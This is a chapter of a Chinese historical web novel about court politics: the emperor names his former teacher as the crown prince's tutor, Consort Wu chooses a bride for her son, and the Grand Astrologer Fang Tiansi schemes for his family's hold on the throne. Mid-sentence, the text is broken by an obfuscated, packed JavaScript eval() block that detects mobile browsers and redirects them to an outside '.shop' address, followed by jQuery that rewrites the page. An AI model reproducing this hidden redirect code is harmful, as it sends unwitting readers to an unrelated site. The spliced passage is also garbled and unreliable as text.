翌日,皇家园林——甘霖苑。
“老夫,参见陛下。”杜立诚已是花甲之年,却丝毫不显老态。
身为两朝元老的他,自儿子杜之年升任大司农后,便向乾帝告了老,回到自己府中颐养天年。
之后,杜立诚便整日作画下棋,赏花喝酒,好不惬意。
而今日,他又被乾帝招来甘霖苑。很显然,正逢太子要加冠,乾帝找他并不是要下棋的。
“杜老,今日看起来怎的有些无精打采?”乾帝一边命人将园内那些刚开的迎春花移入一个个名贵的小盆,一边瞧着杜立诚同他打趣,“可是昨夜又饮酒了?”
“陛下圣明。什么事都瞒不过陛下的眼睛。”杜立诚捋了一把自己短得一指掐都掐不住,黑白相间的胡须,笑道,“老夫壮志已酬,如今也就靠这些子小爱好留个生的念想。”
乾帝又着人将园里仅剩的,形态姣好的腊梅剪枝,亲自往一旁侍人恭敬捧着的白玉瓷瓶内插好后,拿起湿锦自己清理双手,同杜立诚笑道,“老师怎可妄言生死?你这话若让左相听得了,定是又要跑来朕这里怒斥家翁整日疯言疯语,枉费满腹经纶,不务正事。”
老头听乾帝这么一说,立刻胡子一吹,眼睛一瞪,先是“嗤”了一声,后便开始跟乾帝诉苦,“杜之年这逆子!有什么脸说老夫?三十好几了?不成婚!”
杜立诚眉毛轻轻抬了一点,方便自己扫一眼乾帝的神色,接着便摇头叹息,“别的老头到我这年纪,孙儿都已经成婚,说不定连曾孙都有了,哎——老夫……”
“你这家事难管。左相乃肱骨之臣,政事繁忙,朕也管不了啊。”乾帝一听杜立诚又提杜之年的婚事,便立刻摆摆手开口打断。
这父子俩就像是商量好的一样,每次都是聊完正事就开始互相攻奸,扯着扯着就必说到杜之年的婚事,紧接着就是要自己给评评理。
杜老满口逆子,斥杜之年老不成婚。杜之年满口自己为国鞠躬尽瘁,家父为老不尊。
“陛下赎罪。”杜立诚见好就收。掏出怀中从昨夜与杜之年对饮时开的那坛十年春酿中偷藏下来的一小瓶,向乾帝晃了晃,“这可是十年前的好酒,从我逆子手下抢的,陛下试试?”
“不必了,老师自饮便是。”乾帝招人给杜立诚呈上酒盏,开口道,“我儿李昭将于惊蛰加冠,老师想必已经听说了。”
“太子殿下提前了三年加冠?”杜立诚也不理那酒盏,掰开瓶塞嘬了一口酒,“还请陛下解惑。”
乾帝看了一眼自己的老师,这位曾经叱咤朝堂,以己之全力扶持自己上位,却在儿子进入权力中心之时告老,紧接着便像通了灵窍一般只想着吃喝玩乐的曾经的权臣,心内苦笑了一下:“朕想请老师出山,做太子太傅。”
杜立诚闻言,摇晃酒瓶的手一顿。
昨晚杜之年还在和自己商议太子太傅的人选,为了不引起皇帝的忌惮,杜之年甚至都想到要去请已经隐世的德颖道长出山。
杜立诚是万万没有想到,乾帝在明知杜之年倾向于太子的情况下还要找自己去做这个太子太傅。
“臣……”杜立诚摸不准乾帝的态度和心思,但他也知道乾帝既然开了这个口,自己便绝对不可能拒绝,于是缓慢开口,做出犹豫不决的姿态。
“老师,”乾帝笑了笑,斟了一杯茶递给杜立诚,“有一句话,你那位逆子说得也没错。”
“枉费满腹经纶,”乾帝看着杜立诚接过那盏茶放到一边,接着把话说完,“不务正事。”
看着杜立诚起身在自己面前跪下,乾帝眼中笑意更甚。
“臣,定当不辱皇命。”杜立诚叩头行礼。
“有劳太傅。”乾帝笑着起身,看向花园内端着迎春花盆栽,和腊梅插瓶安静等待的侍从,摆了摆手。
侍从们领命而出,自发地便往武贵妃的寝殿送去。
武贵妃的宫殿刚刚经历了第三次修缮,在之前的基础上又往外整整扩充了将近一倍的面积,这次扩建修葺不仅增加了河塘作为风水的增益,甚至还新扩大了跑马场和演武场。
四皇子李念刚刚纵马跑了一圈,碰上乾帝捧着花的侍者便领着他们到了母亲殿中。
武贵妃正在冲人发脾气,李念一只脚还没踏进殿内,就被迎面飞来的一个书架差点砸到。
李念一个闪身,抓住书架就往一旁拖去,以免这大架子把身后跟着的侍者砸到。
“母亲……”李念把书架放好扶稳,“是谁惹你生气了?”
“谁?”武闻笛气没处撒,便又抓起面前的竹简一把朝李念扔去,“还有谁?还能有谁?”
武闻笛这么一说,李念一下子便明白娘气的是自己的父皇。于是他不再去接他娘扔的竹简,只左躲右躲,任由那些竹简噼噼啪啪砸在地上。
“不爱看便不看了。”李念按住一个砸在他胸口的竹简,抓住往头顶一抛,让这竹简落地时发出比其他竹简更大的声音。
“这又是什么?”武闻笛气冲冲走到侍从旁看了一眼,“花?把我的剑全收了,换成书。现在再送些矫揉造作的花来补偿我?”
武闻笛抓住面前插着腊梅的白玉花瓶就又要往地上砸。
侍从端着花瓶的手一歪,顺势快闪到一边立刻跪下,显然是早有准备。“贵妃娘娘,这可是陛下亲手剪下,为你插的。”
武闻笛闻言,去抓花瓶的手顿了顿,神色一下缓和了不少,她又朝后面的几盆迎春花看了一眼,轻嗤一声吩咐道,“这些迎春开得倒是不错,就摆正殿。至于腊梅,就送去寝殿吧。”
“母亲——”李念见母亲消气,嘻嘻哈哈就迎上来要上手抱自己的娘,结果却被不领情的武贵妃冷漠地一把推开。
“十六了。”武闻笛鄙夷地看着自己儿子,“瞧你这纨绔样儿。”
“十六怎么了?”李念不见兔子不撒鹰,一歪头靠上母亲的肩膀,“我永远都是我娘亲最好的儿子。”
“嗤。小兔崽子。”武闻笛终于露出笑容,这一笑竟是让殿内多了一抹明亮的春色,她揉揉李念的脑袋,“走,跟我去正厅,你祖父来了。”
“好勒。”李念挽住武闻笛的手臂,歪头道,“祖父又来检查我的武功吗?我练的可好了,定叫祖父赞不绝口。”
武闻笛闻言“噗嗤”一下笑出声,侧过脸好整以暇的看着李念道,“你祖父是来给你议婚事。”
“什么?”李念闻言脚步一顿,松开挽住武闻笛的手就要开溜。
武闻笛一把揪住李念的后领,拖着他就去了前厅,对于李念不断叫唤的,“娘,我才十六。娘我还小。”充耳不闻。
李念是像个小鸡仔一般被拧到正殿的。
正殿中,方思柔已经不耐到开始在心里给这宫殿看风水了。她端庄地坐在方天司和左相的一旁,对二人的交谈充耳不闻,反而悄悄拿目光在殿内四处打量。
窗太大,用的窗棂还这么粗,这得多费力才能推动?殿内太大太空旷,从主座到殿门要走近上百步,都不符合堪舆。这皇帝宠妃的宫殿,看着像个武将的府邸,怪哉怪哉。
方思柔对自己看风水的本事很满意,点点头;
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309624|198767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又对这殿内差劲的风水摇摇头,扬起小脸正打算继续去看房梁时便正对上刚进殿的武闻笛探究的目光。
武闻笛看到方思柔的瞬间便眼睛一亮。小姑娘约莫十六,小嘴嘟囔着,眼神灵动,像只聪明活泼的小兔,这姑娘不错,且看起来和自己的糟心儿子颇为般配。
武闻笛心下有了决意,薅下自己手上镯子,上前就不容置喙地抓住方思柔的手给她套了上去。
“方家的姑娘怎能全都生得这样水灵?”武闻笛一手捏住方思柔的右手,制止她去脱镯子,另一只手托起她的下巴仔细端详了一下才又满意的放开。“我何时也能生个如此漂亮的女儿?”
方思柔平日里都待在府上,或者偷偷跑出去外面去看建筑研究堪舆,极少理会朝堂的事情,自然也不知道眼前这个衣着华贵的女人是谁。
在她看来这女人未免太霸道了些,但见面就给自己送礼物的漂亮阿姨看起来也不像什么大坏人,于是她露出一个甜甜的笑容,开口道,“姐姐这么漂亮,自是想生便能生的。”
“怎么说话的?还不快给武贵妃道歉?”方天司听方思柔开口就没大没小,立刻呵斥道。
“哈哈哈哈。无妨。”武闻笛一下子笑出声来,松开捏着方思柔的手,把她从坐上拉起来道,“我们大人有些事情要商议。”武闻笛指了指靠在门栏上的李念对方思柔道,“看见没,那个是我儿子,人有点傻。你带他去外面转转可好?”
“好,贵妃娘娘。”方思柔被武闻笛笑得涨红了脸,看了一眼李念,乖乖向武闻笛应承。
武闻笛冲努嘴的李念甩去一记眼刀,警告他不要做怪后,又回头对方思柔温柔道,“去吧。”
方天司把武闻笛的态度全看在眼里,悬了好几天的心终于安稳了一些。
只要四皇子和方思柔的婚约可以定下,那么接下来不论方星曜怎么折腾,对于方家和自己来说,都构不成大的威胁,方家和自己都会立于不败之地。
太子能够成功加冠又怎么样?祈雨大典后雨下不下又怎么样?月食有还是没有,报还是不报,都不重要了。
方天司看了眼一旁的武道成,只见他正一脸慈祥地看看武闻笛,又看看李念。
武闻笛是武道成的独女,李念又是武闻笛的独子。
武道成是个难啃的硬骨头,但这骨头再硬,却对自己唯一的女儿和唯一的外孙极为疼爱,李念就是方天司侵蚀他,让方家勾连他血肉的那唯一一条骨缝。
即便方星曜算无遗策,再怎么筹谋。只要四皇子和方思柔的婚约能定下,方家对于皇帝来说就变成了手心手背都是肉,而自己作为方家家主和当朝太史令,就成为皇帝永远不能动的那张牌。
皇帝要太子继承大统,方星曜是方家人。
皇帝要四皇子继承大统,方思柔是方家人。
皇帝若要废太子,四皇子就要顶上。太史司再编造一个祥瑞天象,将方思柔推上司天神女之位,以二人的婚约,立四皇子的天命正朔,就和皇帝当初登基一样。这天禄国皇帝的后位,永远都会,也只能是方家的。
至于方星曜……
她和太子有过婚约,可以被弃而不用,也可以找个由头废掉。
她想推动历法改革?皇帝本就不可能同意。
她想要借祈雨大典立功,插手太史司更多权力?可这祈雨的功过,最终却又只会是自己说了算。
方天司看向一旁正和武道成撒娇说这儿媳妇自己很满意的武闻笛,对自己的这一步棋,满意无比。方星曜,你的路,也快走到头了。